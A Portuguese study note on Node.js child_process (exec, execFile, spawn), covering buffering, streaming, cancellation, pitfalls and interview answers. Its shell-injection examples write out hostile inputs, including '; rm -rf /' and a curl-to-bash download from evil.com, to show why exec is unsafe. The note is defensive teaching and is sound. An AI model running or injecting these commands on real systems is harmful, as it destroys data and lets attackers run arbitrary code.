child_process com exec e spawn

TL;DR

exec é bufferizado, conveniente e vulnerável a shell injection — nunca passe input externo. execFile dispensa o shell e é mais seguro para comandos com argumentos. spawn retorna streams sem limite de buffer, ideal para output longo ou processos de longa duração. Regra de ouro: sempre prefira execFile/spawn com array de argumentos; exec só para comandos completamente hardcoded.


Diagrama

flowchart LR
    A(["`**Node.js
    processo pai`"]):::parent

    subgraph exec["exec — usa shell"]
        B(["`**/bin/sh
        interpreta string`"]):::shell
        C(["`**comando**`"]):::cmd
    end

    subgraph execFile["execFile — sem shell"]
        D(["`**executável**
        direto`"]):::safe
    end

    subgraph spawnBox["spawn — streams"]
        E(["`**executável**
        stdout stream`"]):::safe
    end

    A -- "exec('cmd')" --> B --> C
    A -- "execFile('bin', [args])" --> D
    A -- "spawn('bin', [args])" --> E

    style exec fill:#fce8e8,stroke:#D0021B
    style execFile fill:#e8f4e8,stroke:#4A90D9
    style spawnBox fill:#e8f4e8,stroke:#4A90D9
    classDef parent fill:#4A90D9,color:#fff,stroke:#2c6fad
    classDef shell fill:#D0021B,color:#fff,stroke:#8b0000
    classDef cmd fill:#F5A623,color:#000,stroke:#c47d0e
    classDef safe fill:#4A90D9,color:#fff,stroke:#2c6fad

O que é

O módulo node:child_process oferece três variantes principais para executar processos externos, cada uma com trade-offs distintos de segurança, performance e ergonomia:

FunçãoShell?OutputUso típico
execSim (sempre)Buffer em callbackComandos curtos e hardcoded com pipes/redirecionamentos
execFileNão (padrão)Buffer em callbackComandos com argumentos externos — mais seguro que exec
spawnNão (padrão)StreamsOutput longo, processos contínuos, backpressure

As três funções retornam um objeto ChildProcess com propriedades stdin, stdout e stderr (quando configuradas como 'pipe'), além de eventos como 'close', 'exit' e 'error'.

Versão assíncrona via util.promisify

exec e execFile têm assinaturas com callback. Ambas aceitam promisify da node:util e Node também exporta versões promisificadas em child_process/promises.


Por que importa

Rodar comandos externos — ffmpeg, git, convert, python, scripts shell — é caso frequente em backends Node. A escolha errada entre exec, execFile e spawn é fonte clássica de dois tipos de problema:

Problema de segurança: exec interpreta a string de comando num shell (/bin/sh no Linux, cmd.exe no Windows). Input de usuário não sanitizado pode injetar comandos arbitrários — uma das vulnerabilidades mais destrutivas em servidores Node.

Problema operacional: exec e execFile bufferizam o output completo em memória antes de chamar o callback. O limite padrão é 1 MB (maxBuffer: 1024 * 1024). Comandos que produzem mais do que isso fazem o processo filho ser encerrado com erro ERR_CHILD_PROCESS_STDIO_MAXBUFFER. Usar spawn para output grande elimina esse problema por design.

Entender quando usar cada uma — e por que a segurança é a consideração primária — é o que separa código de produção de código que vira CVE.


Como funciona

exec — conveniente mas com shell

exec spawna um shell e executa a string de comando dentro dele. Isso permite usar recursos de shell como pipes (|), redirecionamentos (>), expansão de variáveis e globbing.

import { promisify } from 'node:util';
import { exec } from 'node:child_process';
 
const execP = promisify(exec);
 
// Apenas para comandos completamente hardcoded — sem variáveis externas
const { stdout, stderr } = await execP('git log --oneline -5');
console.log(stdout);

Com callback direto (API original):

import { exec } from 'node:child_process';
 
exec('git log --oneline -5', { encoding: 'utf8' }, (err, stdout, stderr) => {
  if (err) {
    console.error('Erro:', err.message);
    return;
  }
  console.log(stdout);
});

Opções relevantes de exec:

OpçãoPadrãoDescrição
encoding'buffer'Encoding do stdout/stderr. 'utf8' retorna string
maxBuffer1024 * 1024 (1 MB)Tamanho máximo do output antes de matar o processo
timeout0Tempo máximo em ms (0 = sem limite)
cwdprocess.cwd()Diretório de trabalho do processo filho
envprocess.envVariáveis de ambiente do processo filho
shell/bin/sh (Unix)Shell a usar — sempre ativo em exec
signalAbortSignal para cancelamento

execFile — sem shell, mais seguro

execFile executa o arquivo diretamente, sem interpor um shell. Os argumentos são passados como array e chegam ao processo filho literalmente — sem interpretação de metacaracteres.

import { execFile } from 'node:child_process';
 
execFile('git', ['log', '--oneline', '-5'], { encoding: 'utf8' }, (err, stdout) => {
  if (err) {
    console.error('Erro:', err.message);
    return;
  }
  console.log(stdout);
});

Versão com promises via módulo nativo:

import { execFile } from 'node:child_process/promises';
 
const { stdout } = await execFile('git', ['log', '--oneline', '-5'], {
  encoding: 'utf8',
});
console.log(stdout);

shell: true elimina a proteção

Se você passar { shell: true } para execFile, ele volta a usar um shell — e a vulnerabilidade de injeção retorna. A única proteção de execFile vem de shell: false (padrão).

Quando preferir execFile sobre exec:

  • O comando recebe argumentos que podem vir de entrada externa
  • Você não precisa de pipes ou redirecionamentos de shell
  • Qualquer dúvida → use execFile

spawn — streaming, sem limite de buffer

spawn não bufferiza output: retorna streams que você consome incrementalmente. Não há maxBuffer — o output flui diretamente do processo filho para o código Node.

import { spawn } from 'node:child_process';
 
const proc = spawn('ffmpeg', ['-i', 'input.mp4', '-c:v', 'libvpx', 'output.webm']);
 
// Streaming incremental de stdout
proc.stdout.on('data', (chunk) => {
  process.stdout.write(chunk);
});
 
// Capturar stderr separadamente (ffmpeg loga progresso em stderr)
proc.stderr.on('data', (chunk) => {
  process.stderr.write(chunk);
});
 
proc.on('close', (code) => {
  console.log(`ffmpeg encerrou com código ${code}`);
});
 
proc.on('error', (err) => {
  console.error('Falha ao iniciar processo:', err);
});

Pipe direto para outro stream (sem buffering):

import { spawn } from 'node:child_process';
import { createWriteStream } from 'node:fs';
 
const proc = spawn('tar', ['czf', '-', './data']);
const output = createWriteStream('backup.tar.gz');
 
proc.stdout.pipe(output);
 
proc.on('close', (code) => {
  if (code === 0) console.log('Backup concluído');
  else console.error(`tar falhou com código ${code}`);
});

Opções relevantes de spawn:

OpçãoPadrãoDescrição
stdio'pipe'Configuração de stdin/stdout/stderr
cwdprocess.cwd()Diretório de trabalho do processo filho
envprocess.envVariáveis de ambiente
detachedfalsePermite o filho continuar após o pai encerrar
shellfalseUsar shell — evitar, pelos mesmos motivos de exec
signalAbortSignal para cancelamento

Configuração de stdio

O parâmetro stdio controla como stdin, stdout e stderr do processo filho se conectam ao processo pai. Disponível nos três métodos, mas mais usada com spawn.

// 'pipe' (padrão): conecta via stream acessível em proc.stdout
spawn('ls', ['-la'], { stdio: 'pipe' });
 
// 'inherit': o filho compartilha o terminal do pai (útil para CLIs interativas)
spawn('npm', ['install'], { stdio: 'inherit' });
 
// 'ignore': descarta todo output — processo filho "mudo"
spawn('background-job', [], { stdio: 'ignore' });
 
// Array granular: [stdin, stdout, stderr]
spawn('cmd', [], { stdio: ['pipe', 'inherit', 'pipe'] });
// stdin via stream, stdout vai direto pro terminal, stderr capturado

Shell injection — o exemplo definitivo

Shell injection via exec é uma das vulnerabilidades mais destrutivas em Node. Merece atenção especial.

O ataque

import { exec } from 'node:child_process';
 
// VULNERÁVEL: input do usuário concatenado na string de comando
function buscarArquivo(userInput) {
  exec(`grep ${userInput} /var/log/app.log`, (err, stdout) => {
    console.log(stdout);
  });
}
 
// Chamada legítima: buscarArquivo('error')
// Executa: grep error /var/log/app.log  ✓
 
// Ataque: buscarArquivo('; rm -rf /')
// Executa: grep ; rm -rf /              ← o shell interpreta o ; como separador
// Resultado: deleta o sistema de arquivos
 
// Ataque mais sutil: buscarArquivo('$(curl http://evil.com/shell.sh | bash)')
// Executa: grep $(curl http://evil.com/shell.sh | bash) /var/log/app.log
// Resultado: baixa e executa script arbitrário

A defesa

import { execFile } from 'node:child_process';
 
// SEGURO: argumento passado como elemento de array, sem shell
function buscarArquivoSeguro(userInput) {
  execFile('grep', [userInput, '/var/log/app.log'], { encoding: 'utf8' }, (err, stdout) => {
    if (err) {
      console.error('grep falhou:', err.message);
      return;
    }
    console.log(stdout);
  });
}
 
// Ataque: buscarArquivoSeguro('; rm -rf /')
// grep recebe o string "; rm -rf /" como argumento literal — inofensivo
// Resultado: grep procura pelo padrão "; rm -rf /" no arquivo ✓

Com spawn:

import { spawn } from 'node:child_process';
 
// SEGURO: spawn com array de args, shell: false (padrão)
function buscarArquivoStream(userInput) {
  const proc = spawn('grep', [userInput, '/var/log/app.log']);
  proc.stdout.pipe(process.stdout);
  proc.on('error', (err) => console.error('Erro:', err));
}

A regra sem exceção

Nunca concatene input externo em strings passadas para exec. Isso inclui: parâmetros de query, body de request, variáveis de ambiente não-controladas, nomes de arquivo de upload, e qualquer outro dado que não seja literal hardcoded no código.


Cancelamento com AbortController

Os três métodos suportam cancelamento via AbortSignal:

import { execFile } from 'node:child_process';
 
const controller = new AbortController();
const { signal } = controller;
 
const proc = execFile('long-running-script', ['--arg'], { signal }, (err) => {
  if (err?.name === 'AbortError') {
    console.log('Processo cancelado via AbortController');
    return;
  }
  if (err) console.error('Erro:', err);
});
 
// Cancelar após 5 segundos
setTimeout(() => controller.abort(), 5000);

Com spawn:

import { spawn } from 'node:child_process';
 
const controller = new AbortController();
const proc = spawn('ffmpeg', ['-i', 'input.mp4', 'output.webm'], {
  signal: controller.signal,
});
 
proc.on('error', (err) => {
  if (err.name === 'AbortError') {
    console.log('Transcodificação cancelada');
  }
});
 
// Cancelar ao receber sinal do usuário
process.on('SIGINT', () => controller.abort());

Na prática

Regra de ouro

Tem input externo?  → execFile ou spawn com array de args, NUNCA exec
Output grande?      → spawn (sem maxBuffer)
Só precisa do resultado? → execFile ou exec (promisificado)
Processo de longa duração? → spawn com eventos de stream
Pipes de shell?     → exec, apenas com args completamente hardcoded

Script de build — exec legítimo

import { promisify } from 'node:util';
import { exec } from 'node:child_process';
 
const execP = promisify(exec);
 
// ✓ Comando completamente hardcoded — sem variáveis externas
async function runBuild() {
  const { stdout } = await execP('npm run build 2>&1');
  console.log(stdout);
}

Resize de imagem — execFile seguro

import { execFile } from 'node:child_process/promises';
 
async function resizeImage(inputPath, outputPath, width) {
  // ✓ Todos os argumentos como array — sem shell, sem injeção
  await execFile('convert', [inputPath, '-resize', `${width}x`, outputPath]);
}
 
// Mesmo que inputPath seja algo como "/tmp/upload; rm -rf /" — chegará como literal

Transcodificação com progresso — spawn streaming

import { spawn } from 'node:child_process';
 
function transcode(input, output, onProgress) {
  const proc = spawn('ffmpeg', [
    '-i', input,
    '-progress', 'pipe:1',  // Progresso em stdout
    '-y', output,
  ]);
 
  let progressData = '';
  proc.stdout.on('data', (chunk) => {
    progressData += chunk.toString();
    const match = progressData.match(/out_time_ms=(\d+)/);
    if (match) onProgress(parseInt(match[1], 10));
  });
 
  return new Promise((resolve, reject) => {
    proc.on('close', (code) => {
      if (code === 0) resolve();
      else reject(new Error(`ffmpeg exited with code ${code}`));
    });
    proc.on('error', reject);
  });
}

Casos práticos

Caso 1 — Resize de imagem com ImageMagick via upload de usuário

O usuário faz upload de uma imagem. O filename vem do request — é input externo. Usar exec aqui seria uma vulnerabilidade crítica. O caminho correto é execFile com array de argumentos.

import { execFile } from 'node:child_process/promises';
import { randomUUID } from 'node:crypto';
import path from 'node:path';
 
async function resizeUploadedImage(originalPath, width) {
  // ✓ originalPath é input do usuário — array de args sem shell
  const outputName = `${randomUUID()}.webp`;
  const outputPath = path.join('/tmp/uploads', outputName);
 
  await execFile('convert', [
    originalPath,
    '-resize', `${width}x`,     // dimensão hardcoded aqui
    '-quality', '80',
    outputPath,
  ]);
 
  return outputPath;
}
 
// Mesmo que originalPath seja "/tmp/x; rm -rf /" — chegará como string literal ao convert
// O ImageMagick tentará abrir o arquivo com esse nome e falhará — sem executar nada extra

Por que não exec: exec(\convert ${originalPath} …`)passa tudo por/bin/sh. Um originalPathcomo”; curl evil.com/shell.sh | bash”` executaria o script remoto antes de tentar o convert.


Caso 2 — Transcodificação de vídeo com progresso em tempo real

O usuário solicita conversão de um arquivo de vídeo. ffmpeg produz gigabytes de output e pode rodar por minutos. exec e execFile bufferizariam tudo em memória e falhariam com ERR_CHILD_PROCESS_STDIO_MAXBUFFER. spawn com streaming é a única opção correta.

import { spawn } from 'node:child_process';
import { EventEmitter } from 'node:events';
 
function transcodeVideo(inputPath, outputPath) {
  const emitter = new EventEmitter();
  const controller = new AbortController();
 
  const proc = spawn('ffmpeg', [
    '-i', inputPath,
    '-c:v', 'libvpx-vp9',
    '-b:v', '0',
    '-crf', '33',
    '-progress', 'pipe:2',   // progresso em stderr (padrão ffmpeg)
    '-y', outputPath,
  ], { signal: controller.signal });
 
  proc.stderr.on('data', (chunk) => {
    const text = chunk.toString();
    const match = text.match(/out_time_ms=(\d+)/);
    if (match) emitter.emit('progress', parseInt(match[1], 10) / 1_000_000); // segundos
  });
 
  const done = new Promise((resolve, reject) => {
    proc.on('close', (code) => {
      if (code === 0) resolve(outputPath);
      else reject(new Error(`ffmpeg exited with code ${code}`));
    });
    proc.on('error', (err) => {
      if (err.name !== 'AbortError') reject(err);
    });
  });
 
  return { emitter, done, cancel: () => controller.abort() };
}
 
// Uso:
const job = transcodeVideo('/uploads/raw.mp4', '/output/final.webm');
job.emitter.on('progress', (secs) => console.log(`${secs.toFixed(1)}s processados`));
await job.done;

Pontos importantes: stderr é consumido mesmo que o conteúdo não interesse — sem consumo, o buffer do kernel trava o processo filho. O AbortController permite cancelamento limpo sem deixar o ffmpeg como processo órfão.


Armadilhas comuns

Shell injection via exec com input externo

O que acontece: Input externo concatenado na string de comando permite que um atacante injete metacaracteres de shell (;, |, &&, $(...)) e execute comandos arbitrários no servidor.

Por quê: exec sempre interpreta a string em /bin/sh (Linux) ou cmd.exe (Windows). Não existe sanitização confiável — qualquer tentativa de filtrar metacaracteres pode ser contornada com variações de encoding ou combinações não previstas.

Como evitar: Usar execFile ou spawn com argumentos como array — nunca concatenar input externo em strings passadas para exec. A solução é estrutural, não de sanitização.

// ❌ — vulnerável independente da "sanitização"
const filename = req.body.file.replace(/[^a-z0-9]/gi, '');  // insuficiente
exec(`cat ${filename}`, callback);
 
// ✓ — sem shell, sem injeção possível
execFile('cat', [req.body.file], callback);

maxBuffer excedido silenciosamente

O que acontece: exec e execFile têm limite de 1 MB por padrão. Quando excedido, o processo filho é encerrado e o callback recebe ERR_CHILD_PROCESS_STDIO_MAXBUFFER. O output parcial é descartado — e o erro pode não aparecer em testes com dados pequenos, só explodindo em produção com dados reais.

Por quê: exec e execFile bufferizam o output completo em memória antes de chamar o callback. Não há mecanismo de backpressure — o limite é fixo.

Como evitar: Para output previsível e pequeno, ajustar maxBuffer. Para output de tamanho variável ou grande, migrar para spawn com streaming.

// ❌ — quebra silenciosamente com output > 1MB
exec('journalctl -n 10000', callback);
 
// ✓ — opção 1: aumentar o limite (paliativo)
exec('journalctl -n 10000', { maxBuffer: 10 * 1024 * 1024 }, callback);
 
// ✓ — opção 2: usar spawn (sem limite)
const proc = spawn('journalctl', ['-n', '10000']);
proc.stdout.pipe(process.stdout);

Esquecer de ler stdout/stderr em spawn

O que acontece: O processo filho fica bloqueado esperando que o Node consuma o output — deadlock silencioso. O processo não encerra, o event loop fica preso, e a requisição trava indefinidamente.

Por quê: Quando stdio é 'pipe' (padrão), o kernel cria buffers para stdout e stderr do processo filho. Se o processo filho escreve mais do que o buffer suporta e o Node não consome, o filho fica suspenso no write.

Como evitar: Sempre consumir stdout e stderr — seja para processar, seja apenas para drenar (.resume()).

// ❌ — proc.stdout não é consumido; stderr pode bloquear o filho
const proc = spawn('comando-que-produz-output');
proc.on('close', (code) => console.log(code));
 
// ✓ — consumir sempre, mesmo que só para descartar
proc.stdout.resume();  // Drena sem processar
proc.stderr.resume();
proc.on('close', (code) => console.log(code));

spawn com shell: true — mesma vulnerabilidade de exec

O que acontece: Passar shell: true para spawn faz o comando passar por um shell — tornando o array de argumentos igualmente vulnerável a injeção. A proteção do array desaparece.

Por quê: Com shell: true, o Node concatena o comando e os argumentos em uma string e repassa ao shell. A documentação oficial (v23.11+) deprecou a combinação de args com shell: true exatamente por esse motivo.

Como evitar: Manter shell: false (padrão). Se precisar de recursos de shell (pipes, redirecionamentos), usar exec apenas com comandos completamente hardcoded.

// ❌ — shell: true elimina a proteção do array de args
spawn('grep', [userInput, 'file.txt'], { shell: true });
 
// ✓ — shell: false (padrão) — seguro
spawn('grep', [userInput, 'file.txt']);

Processo filho vira zumbi se o pai crasha

O que acontece: Se o processo pai encerra abruptamente sem encerrar os filhos, os filhos continuam rodando como processos órfãos. Em cenários de crash/restart frequente, isso acumula processos zumbi consumindo CPU e memória.

Por quê: Processos filhos não são encerrados automaticamente quando o pai morre — o sistema operacional os re-adota para o processo init (PID 1). Apenas um encerramento explícito via sinal os termina.

Como evitar: Usar AbortController e registrar handlers para 'exit' e 'SIGTERM' no processo pai para encerrar filhos antes de sair.

// ✓ — usar AbortController para encerrar filhos ao sair
const controller = new AbortController();
const proc = spawn('long-process', [], { signal: controller.signal });
 
process.on('exit', () => controller.abort());
process.on('SIGTERM', () => {
  controller.abort();
  process.exit(0);
});

Confundir código de saída com erro de spawn

O que acontece: O handler de 'error' nunca dispara (o processo iniciou com sucesso), mas o código de saída diferente de 0 é ignorado — o erro do processo externo passa despercebido.

Por quê: proc.on('error') e proc.on('close') cobrem cenários distintos. 'error' dispara quando não foi possível iniciar o processo (comando não encontrado, permissão negada). 'close' dispara quando o processo iniciou e encerrou — com ou sem erro.

Como evitar: Sempre registrar ambos os handlers e tratar o código de saída em 'close'.

proc.on('error', (err) => {
  // err.code === 'ENOENT' → comando não encontrado
  // err.code === 'EACCES' → sem permissão
  console.error('Falha ao iniciar:', err.message);
});
 
proc.on('close', (code, signal) => {
  if (code !== 0) {
    // O processo iniciou mas retornou erro
    console.error(`Processo encerrou com código ${code}`);
  }
  if (signal) {
    // Processo foi encerrado por sinal (ex.: SIGKILL)
    console.error(`Encerrado por sinal: ${signal}`);
  }
});

Em entrevista

Frase pronta (em inglês)

“Node’s child_process module gives you three main APIs for running external processes, each with different trade-offs. exec spawns a shell and buffers the full output — convenient for quick hardcoded shell commands with pipes, but dangerously vulnerable to shell injection if you ever interpolate external input into the command string. execFile skips the shell by default, passing arguments as an array directly to the executable — that makes it the safe choice when arguments come from user input. spawn returns streams instead of buffering, so it handles large or continuous output without hitting a buffer limit. The rule I follow is: use execFile or spawn with an argument array for anything that touches external data; reserve exec for fully hardcoded commands where no variable input exists. Shell injection through exec is a classic CVE pattern — an attacker passes something like ; rm -rf / and the shell happily executes it.”

Vocabulário técnico

PT-BREN
executar comando externoexecute external command / shell out
injeção de shellshell injection
spawnar processospawn a process
processo filhochild process
saída em fluxo / streamingstreaming output
bufferizar outputbuffer output
buffer limite excedidomax buffer exceeded
argumento literalliteral argument
metacaractere de shellshell metacharacter
sinal de encerramentotermination signal
processo órfão / zumbiorphan process / zombie process
canal de I/O padrãostandard I/O / stdio

Perguntas frequentes em entrevista

“Qual a diferença entre exec e execFile?” exec usa um shell — permite pipes e redirecionamentos, mas interpreta metacaracteres na string de comando. execFile não usa shell por padrão — os argumentos chegam ao processo literalmente, sem interpretação. Isso torna execFile seguro para argumentos de origem externa. O output de ambos é bufferizado com limite de 1 MB por padrão.

“Quando você usaria spawn em vez de exec?” Quando o output pode ser maior que 1 MB, quando você precisa processar dados incrementalmente (streaming), ou quando o processo roda por tempo indeterminado — como um servidor ou processo de monitoramento. spawn não tem limite de buffer porque não acumula — você consome os dados à medida que chegam.

“Como você previne shell injection em Node?” Usando execFile ou spawn com argumentos como array — nunca concatenando input externo em strings passadas para exec. Quando você passa ['grep', [userInput, 'file.txt']], o Node passa userInput como argumento literal ao grep, sem nenhuma interpretação de shell. O metacaractere ;, | ou $() no input se torna texto inerte.

“O que acontece quando o output de exec excede o maxBuffer?” O processo filho é encerrado pelo Node e o callback recebe um erro ERR_CHILD_PROCESS_STDIO_MAXBUFFER. O output parcial é descartado. O valor padrão é 1 MB. Para output grande, a solução correta é spawn com streaming.


O que vem a seguir

exec, execFile e spawn cobrem a execução de processos externos genéricos. Quando o processo externo que você quer spawnar é um outro script Node.js e você precisa de comunicação bidirecional (não só stdout), a ferramenta certa é fork — que adiciona um canal IPC automático ao processo filho. A nota [[09 - child_process com fork - Node child com IPC]] explora exatamente isso: quando fork ainda ganha de Worker Threads, como construir um supervisor tree com backoff exponencial, e os 4 casos onde isolamento total de processo faz diferença em produção.


Fontes


Veja também